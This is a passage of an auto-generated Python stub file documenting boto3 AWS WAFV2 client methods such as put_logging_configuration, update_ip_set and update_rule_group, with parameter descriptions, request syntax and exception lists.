ACL, according to the configuration provided. You can access information about all traffic that AWS WAF inspects using the following steps: When you successfully enable logging using a PutLoggingConfiguration request, AWS WAF will create a service linked role with the necessary permissions to write logs to the Amazon Kinesis Data Firehose. For more information, see Logging Web ACL Traffic Information in the AWS WAF Developer Guide . See also: AWS API Documentation Exceptions :example: response = client.put_logging_configuration( LoggingConfiguration={ 'ResourceArn': 'string', 'LogDestinationConfigs': [ 'string', ], 'RedactedFields': [ { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, ] } ) :type LoggingConfiguration: dict :param LoggingConfiguration: [REQUIRED]\n\nResourceArn (string) -- [REQUIRED]The Amazon Resource Name (ARN) of the web ACL that you want to associate with LogDestinationConfigs .\n\nLogDestinationConfigs (list) -- [REQUIRED]The Amazon Kinesis Data Firehose Amazon Resource Name (ARNs) that you want to associate with the web ACL.\n\n(string) --\n\n\nRedactedFields (list) --The parts of the request that you want to keep out of the logs. For example, if you redact the cookie field, the cookie field in the firehose will be xxx .\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nThe part of a web request that you want AWS WAF to inspect. Include the single FieldToMatch type that you want to inspect, with additional specifications as needed, according to the type. You specify a single request component in FieldToMatch for each rule statement that requires it. To inspect more than one component of a web request, create a separate rule statement for each component.\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax{ 'LoggingConfiguration': { 'ResourceArn': 'string', 'LogDestinationConfigs': [ 'string', ], 'RedactedFields': [ { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, ] } } Response Structure (dict) -- LoggingConfiguration (dict) -- ResourceArn (string) --The Amazon Resource Name (ARN) of the web ACL that you want to associate with LogDestinationConfigs . LogDestinationConfigs (list) --The Amazon Kinesis Data Firehose Amazon Resource Name (ARNs) that you want to associate with the web ACL. (string) -- RedactedFields (list) --The parts of the request that you want to keep out of the logs. For example, if you redact the cookie field, the cookie field in the firehose will be xxx . (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The part of a web request that you want AWS WAF to inspect. Include the single FieldToMatch type that you want to inspect, with additional specifications as needed, according to the type. You specify a single request component in FieldToMatch for each rule statement that requires it. To inspect more than one component of a web request, create a separate rule statement for each component. SingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) --The name of the query header to inspect. SingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) --The name of the query argument to inspect. AllQueryArguments (dict) --Inspect all query arguments. UriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFServiceLinkedRoleErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'LoggingConfiguration': { 'ResourceArn': 'string', 'LogDestinationConfigs': [ 'string', ], 'RedactedFields': [ { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {}, 'UriPath': {}, 'QueryString': {}, 'Body': {}, 'Method': {} }, ] } } :returns: Associate that firehose to your web ACL using a PutLoggingConfiguration request. """ pass def put_permission_policy(ResourceArn=None, Policy=None): """ Attaches an IAM policy to the specified resource. Use this to share a rule group across accounts. You must be the owner of the rule group to perform this operation. This action is subject to the following restrictions: See also: AWS API Documentation Exceptions :example: response = client.put_permission_policy( ResourceArn='string', Policy='string' ) :type ResourceArn: string :param ResourceArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the RuleGroup to which you want to attach the policy.\n :type Policy: string :param Policy: [REQUIRED]\nThe policy to attach to the specified rule group.\nThe policy specifications must conform to the following:\n\nThe policy must be composed using IAM Policy version 2012-10-17 or version 2015-01-01.\nThe policy must include specifications for Effect , Action , and Principal .\nEffect must specify Allow .\nAction must specify wafv2:CreateWebACL , wafv2:UpdateWebACL , and wafv2:PutFirewallManagerRuleGroups . AWS WAF rejects any extra actions or wildcard actions in the policy.\nThe policy must not include a Resource parameter.\n\nFor more information, see IAM Policies .\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFInvalidPermissionPolicyException :return: {} :returns: ResourceArn (string) -- [REQUIRED] The Amazon Resource Name (ARN) of the RuleGroup to which you want to attach the policy. Policy (string) -- [REQUIRED] The policy to attach to the specified rule group. The policy specifications must conform to the following: The policy must be composed using IAM Policy version 2012-10-17 or version 2015-01-01. The policy must include specifications for Effect , Action , and Principal . Effect must specify Allow . Action must specify wafv2:CreateWebACL , wafv2:UpdateWebACL , and wafv2:PutFirewallManagerRuleGroups . AWS WAF rejects any extra actions or wildcard actions in the policy. The policy must not include a Resource parameter. For more information, see IAM Policies . """ pass def tag_resource(ResourceARN=None, Tags=None): """ Associates tags with the specified AWS resource. Tags are key:value pairs that you can associate with AWS resources. For example, the tag key might be "customer" and the tag value might be "companyA." You can specify one or more tags to add to each container. You can add up to 50 tags to each AWS resource. See also: AWS API Documentation Exceptions :example: response = client.tag_resource( ResourceARN='string', Tags=[ { 'Key': 'string', 'Value': 'string' }, ] ) :type ResourceARN: string :param ResourceARN: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n :type Tags: list :param Tags: [REQUIRED]\nAn array of key:value pairs to associate with the resource.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA collection of key:value pairs associated with an AWS resource. The key:value pair can be anything you define. Typically, the tag key represents a category (such as 'environment') and the tag value represents a specific value within that category (such as 'test,' 'development,' or 'production'). You can add up to 50 tags to each AWS resource.\n\nKey (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag key to describe a category of information, such as 'customer.' Tag keys are case-sensitive.\n\nValue (string) -- [REQUIRED]Part of the key:value pair that defines a tag. You can use a tag value to describe a specific value within a category, such as 'companyA' or 'companyB.' Tag values are case-sensitive.\n\n\n\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: (dict) -- """ pass def untag_resource(ResourceARN=None, TagKeys=None): """ Disassociates tags from an AWS resource. Tags are key:value pairs that you can associate with AWS resources. For example, the tag key might be "customer" and the tag value might be "companyA." You can specify one or more tags to add to each container. You can add up to 50 tags to each AWS resource. See also: AWS API Documentation Exceptions :example: response = client.untag_resource( ResourceARN='string', TagKeys=[ 'string', ] ) :type ResourceARN: string :param ResourceARN: [REQUIRED]\nThe Amazon Resource Name (ARN) of the resource.\n :type TagKeys: list :param TagKeys: [REQUIRED]\nAn array of keys identifying the tags to disassociate from the resource.\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFTagOperationException WAFV2.Client.exceptions.WAFTagOperationInternalErrorException WAFV2.Client.exceptions.WAFInvalidOperationException :return: {} :returns: (dict) -- """ pass def update_ip_set(Name=None, Scope=None, Id=None, Description=None, Addresses=None, LockToken=None): """ Updates the specified IPSet . See also: AWS API Documentation Exceptions :example: response = client.update_ip_set( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string', Description='string', Addresses=[ 'string', ], LockToken='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the IP set. You cannot change the name of an IPSet after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type Description: string :param Description: A description of the IP set that helps with identification. You cannot change the description of an IP set after you create it. :type Addresses: list :param Addresses: [REQUIRED]\nContains an array of strings that specify one or more IP addresses or blocks of IP addresses in Classless Inter-Domain Routing (CIDR) notation. AWS WAF supports all address ranges for IP versions IPv4 and IPv6.\nExamples:\n\nTo configure AWS WAF to allow, block, or count requests that originated from the IP address 192.0.2.44, specify 192.0.2.44/32 .\nTo configure AWS WAF to allow, block, or count requests that originated from IP addresses from 192.0.2.0 to 192.0.2.255, specify 192.0.2.0/24 .\nTo configure AWS WAF to allow, block, or count requests that originated from the IP address 1111:0000:0000:0000:0000:0000:0000:0111, specify 1111:0000:0000:0000:0000:0000:0000:0111/128 .\nTo configure AWS WAF to allow, block, or count requests that originated from IP addresses 1111:0000:0000:0000:0000:0000:0000:0000 to 1111:0000:0000:0000:ffff:ffff:ffff:ffff, specify 1111:0000:0000:0000:0000:0000:0000:0000/64 .\n\nFor more information about CIDR notation, see the Wikipedia entry Classless Inter-Domain Routing .\n\n(string) --\n\n :type LockToken: string :param LockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax { 'NextLockToken': 'string' } Response Structure (dict) -- NextLockToken (string) -- A token used for optimistic locking. AWS WAF returns this token to your update requests. You use NextLockToken in the same manner as you use LockToken . Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextLockToken': 'string' } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def update_regex_pattern_set(Name=None, Scope=None, Id=None, Description=None, RegularExpressionList=None, LockToken=None): """ Updates the specified RegexPatternSet . See also: AWS API Documentation Exceptions :example: response = client.update_regex_pattern_set( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string', Description='string', RegularExpressionList=[ { 'RegexString': 'string' }, ], LockToken='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the set. You cannot change the name after you create the set.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the set. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type Description: string :param Description: A description of the set that helps with identification. You cannot change the description of a set after you create it. :type RegularExpressionList: list :param RegularExpressionList: [REQUIRED]\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA single regular expression. This is used in a RegexPatternSet .\n\nRegexString (string) --The string representing the regular expression.\n\n\n\n\n :type LockToken: string :param LockToken: [REQUIRED]\nA token used for optimistic locking. AWS WAF returns a token to your get and list requests, to mark the state of the entity at the time of the request. To make changes to the entity associated with the token, you provide the token to operations like update and delete. AWS WAF uses the token to ensure that no changes have been made to the entity since you last retrieved it. If a change has been made, the update fails with a WAFOptimisticLockException . If this happens, perform another get, and use the new token returned by that operation.\n :rtype: dict ReturnsResponse Syntax { 'NextLockToken': 'string' } Response Structure (dict) -- NextLockToken (string) -- A token used for optimistic locking. AWS WAF returns this token to your update requests. You use NextLockToken in the same manner as you use LockToken . Exceptions WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidOperationException :return: { 'NextLockToken': 'string' } :returns: WAFV2.Client.exceptions.WAFInternalErrorException WAFV2.Client.exceptions.WAFInvalidParameterException WAFV2.Client.exceptions.WAFNonexistentItemException WAFV2.Client.exceptions.WAFDuplicateItemException WAFV2.Client.exceptions.WAFOptimisticLockException WAFV2.Client.exceptions.WAFLimitsExceededException WAFV2.Client.exceptions.WAFInvalidOperationException """ pass def update_rule_group(Name=None, Scope=None, Id=None, Description=None, Rules=None, VisibilityConfig=None, LockToken=None): """ Updates the specified RuleGroup . A rule group defines a collection of rules to inspect and control web requests that you can use in a WebACL . When you create a rule group, you define an immutable capacity limit. If you update a rule group, you must stay within the capacity. This allows others to reuse the rule group with confidence in its capacity requirements. See also: AWS API Documentation Exceptions :example: response = client.update_rule_group( Name='string', Scope='CLOUDFRONT'|'REGIONAL', Id='string', Description='string', Rules=[ { 'Name': 'string', 'Priority': 123, 'Statement': { 'ByteMatchStatement': { 'SearchString': b'bytes', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ], 'PositionalConstraint': 'EXACTLY'|'STARTS_WITH'|'ENDS_WITH'|'CONTAINS'|'CONTAINS_WORD' }, 'SqliMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'XssMatchStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'SizeConstraintStatement': { 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'ComparisonOperator': 'EQ'|'NE'|'LE'|'LT'|'GE'|'GT', 'Size': 123, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'GeoMatchStatement': { 'CountryCodes': [ 'AF'|'AX'|'AL'|'DZ'|'AS'|'AD'|'AO'|'AI'|'AQ'|'AG'|'AR'|'AM'|'AW'|'AU'|'AT'|'AZ'|'BS'|'BH'|'BD'|'BB'|'BY'|'BE'|'BZ'|'BJ'|'BM'|'BT'|'BO'|'BQ'|'BA'|'BW'|'BV'|'BR'|'IO'|'BN'|'BG'|'BF'|'BI'|'KH'|'CM'|'CA'|'CV'|'KY'|'CF'|'TD'|'CL'|'CN'|'CX'|'CC'|'CO'|'KM'|'CG'|'CD'|'CK'|'CR'|'CI'|'HR'|'CU'|'CW'|'CY'|'CZ'|'DK'|'DJ'|'DM'|'DO'|'EC'|'EG'|'SV'|'GQ'|'ER'|'EE'|'ET'|'FK'|'FO'|'FJ'|'FI'|'FR'|'GF'|'PF'|'TF'|'GA'|'GM'|'GE'|'DE'|'GH'|'GI'|'GR'|'GL'|'GD'|'GP'|'GU'|'GT'|'GG'|'GN'|'GW'|'GY'|'HT'|'HM'|'VA'|'HN'|'HK'|'HU'|'IS'|'IN'|'ID'|'IR'|'IQ'|'IE'|'IM'|'IL'|'IT'|'JM'|'JP'|'JE'|'JO'|'KZ'|'KE'|'KI'|'KP'|'KR'|'KW'|'KG'|'LA'|'LV'|'LB'|'LS'|'LR'|'LY'|'LI'|'LT'|'LU'|'MO'|'MK'|'MG'|'MW'|'MY'|'MV'|'ML'|'MT'|'MH'|'MQ'|'MR'|'MU'|'YT'|'MX'|'FM'|'MD'|'MC'|'MN'|'ME'|'MS'|'MA'|'MZ'|'MM'|'NA'|'NR'|'NP'|'NL'|'NC'|'NZ'|'NI'|'NE'|'NG'|'NU'|'NF'|'MP'|'NO'|'OM'|'PK'|'PW'|'PS'|'PA'|'PG'|'PY'|'PE'|'PH'|'PN'|'PL'|'PT'|'PR'|'QA'|'RE'|'RO'|'RU'|'RW'|'BL'|'SH'|'KN'|'LC'|'MF'|'PM'|'VC'|'WS'|'SM'|'ST'|'SA'|'SN'|'RS'|'SC'|'SL'|'SG'|'SX'|'SK'|'SI'|'SB'|'SO'|'ZA'|'GS'|'SS'|'ES'|'LK'|'SD'|'SR'|'SJ'|'SZ'|'SE'|'CH'|'SY'|'TW'|'TJ'|'TZ'|'TH'|'TL'|'TG'|'TK'|'TO'|'TT'|'TN'|'TR'|'TM'|'TC'|'TV'|'UG'|'UA'|'AE'|'GB'|'US'|'UM'|'UY'|'UZ'|'VU'|'VE'|'VN'|'VG'|'VI'|'WF'|'EH'|'YE'|'ZM'|'ZW', ] }, 'RuleGroupReferenceStatement': { 'ARN': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] }, 'IPSetReferenceStatement': { 'ARN': 'string' }, 'RegexPatternSetReferenceStatement': { 'ARN': 'string', 'FieldToMatch': { 'SingleHeader': { 'Name': 'string' }, 'SingleQueryArgument': { 'Name': 'string' }, 'AllQueryArguments': {} , 'UriPath': {} , 'QueryString': {} , 'Body': {} , 'Method': {} }, 'TextTransformations': [ { 'Priority': 123, 'Type': 'NONE'|'COMPRESS_WHITE_SPACE'|'HTML_ENTITY_DECODE'|'LOWERCASE'|'CMD_LINE'|'URL_DECODE' }, ] }, 'RateBasedStatement': { 'Limit': 123, 'AggregateKeyType': 'IP', 'ScopeDownStatement': {'... recursive ...'} }, 'AndStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'OrStatement': { 'Statements': [ {'... recursive ...'}, ] }, 'NotStatement': { 'Statement': {'... recursive ...'} }, 'ManagedRuleGroupStatement': { 'VendorName': 'string', 'Name': 'string', 'ExcludedRules': [ { 'Name': 'string' }, ] } }, 'Action': { 'Block': {} , 'Allow': {} , 'Count': {} }, 'OverrideAction': { 'Count': {} , 'None': {} }, 'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], VisibilityConfig={ 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' }, LockToken='string' ) :type Name: string :param Name: [REQUIRED]\nThe name of the rule group. You cannot change the name of a rule group after you create it.\n :type Scope: string :param Scope: [REQUIRED]\nSpecifies whether this is for an AWS CloudFront distribution or for a regional application. A regional application can be an Application Load Balancer (ALB) or an API Gateway stage.\nTo work with CloudFront, you must also specify the Region US East (N. Virginia) as follows:\n\nCLI - Specify the Region when you use the CloudFront scope: --scope=CLOUDFRONT --region=us-east-1 .\nAPI and SDKs - For all calls, use the Region endpoint us-east-1.\n\n :type Id: string :param Id: [REQUIRED]\nA unique identifier for the rule group. This ID is returned in the responses to create and list commands. You provide it to operations like update and delete.\n :type Description: string :param Description: A description of the rule group that helps with identification. You cannot change the description of a rule group after you create it. :type Rules: list :param Rules: The Rule statements used to identify the web requests that you want to allow, block, or count. Each rule includes one top-level statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nA single rule, which you can use in a WebACL or RuleGroup to identify web requests that you want to allow, block, or count. Each rule includes one top-level Statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them.\n\nName (string) -- [REQUIRED]The name of the rule. You can\'t change the name of a Rule after you create it.\n\nPriority (integer) -- [REQUIRED]If you define more than one Rule in a WebACL , AWS WAF evaluates each request against the Rules in order based on the value of Priority . AWS WAF processes rules with lower priority first. The priorities don\'t need to be consecutive, but they must all be different.\n\nStatement (dict) -- [REQUIRED]The AWS WAF processing statement for the rule, for example ByteMatchStatement or SizeConstraintStatement .\n\nByteMatchStatement (dict) --A rule statement that defines a string match search for AWS WAF to apply to web requests. The byte match statement provides the bytes to search for, the location in requests that you want AWS WAF to search, and other settings. The bytes to search for are typically a string that corresponds with ASCII characters. In the AWS WAF console and the developer guide, this is refered to as a string match statement.\n\nSearchString (bytes) -- [REQUIRED]A string value that you want AWS WAF to search for. AWS WAF searches only in the part of web requests that you designate for inspection in FieldToMatch . The maximum length of the value is 50 bytes.\nValid values depend on the component that you specify for inspection in FieldToMatch :\n\nMethod : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request.\nUriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg .\n\nIf SearchString includes alphabetic characters A-Z and a-z, note that the value is case sensitive.\n\nIf you\'re using the AWS WAF API\nSpecify a base64-encoded version of the value. The maximum length of the value before you base64-encode it is 50 bytes.\nFor example, suppose the value of Type is HEADER and the value of Data is User-Agent . If you want to search the User-Agent header for the value BadBot , you base64-encode BadBot using MIME base64-encoding and include the resulting value, QmFkQm90 , in the value of SearchString .\n\nIf you\'re using the AWS CLI or one of the AWS SDKs\nThe value that you want AWS WAF to search for. The SDK automatically base64 encodes the value.\n\nFieldToMatch (dict) -- [REQUIRED]The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch .\n\nSingleHeader (dict) --Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive.\n\nName (string) -- [REQUIRED]The name of the query header to inspect.\n\n\n\nSingleQueryArgument (dict) --Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive.\nThis is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification.\n\nName (string) -- [REQUIRED]The name of the query argument to inspect.\n\n\n\nAllQueryArguments (dict) --Inspect all query arguments.\n\nUriPath (dict) --Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg .\n\nQueryString (dict) --Inspect the query string. This is the part of a URL that appears after a ? character, if any.\n\nBody (dict) --Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form.\nNote that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit.\n\nMethod (dict) --Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform.\n\n\n\nTextTransformations (list) -- [REQUIRED]Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match.\n\n(dict) --\nNote\nThis is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide .\n\nText transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection.\n\nPriority (integer) -- [REQUIRED]Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different.\n\nType (string) -- [REQUIRED]You can specify the following transformation types:\n\nCMD_LINE\nWhen you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations:\n\nDelete the following characters: ' \' ^\nDelete spaces before the following characters: / (\nReplace the following characters with a space: , ;\nReplace multiple spaces with one space\nConvert uppercase letters (A-Z) to lowercase (a-z)\n\n\nCOMPRESS_WHITE_SPACE\nUse this option to replace the following characters with a space character (decimal 32):\n\nf, formfeed, decimal 12\nt, tab, decimal 9\nn, newline, decimal 10\nr, carriage return, decimal 13\nv, vertical tab, decimal 11\nnon-breaking space, decimal 160\n\n\nCOMPRESS_WHITE_SPACE also replaces multiple spaces with one space.HTML_ENTITY_DECODE\n\nUse this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations:\n\nReplaces (ampersand)quot; with '\nReplaces (ampersand)nbsp; with a non-breaking space, decimal 160\nReplaces (ampersand)lt; with a 'less than' symbol\nReplaces (ampersand)gt; with >\nReplaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters\nReplaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters\n\n\nLOWERCASE\nUse this option to convert uppercase letters (A-Z) to lowercase (a-z).\n\nURL_DECODE\nUse this option to decode a URL-encoded value.\n\nNONE\nSpecify NONE if you don\'t want any text transformations.\n\n\n\n\n\nPositionalConstraint (string) -- [REQUIRED]The area within the portion of a web request that you want AWS WAF to search for SearchString . Valid values include the following:\n\nCONTAINS\nThe specified part of the web request must include the value of SearchString , but the location doesn\'t matter.\n\nCONTAINS_WORD\nThe specified part of the web request must include the value of SearchString , and SearchString must contain only alphanumeric characters or underscore (A-Z, a-z, 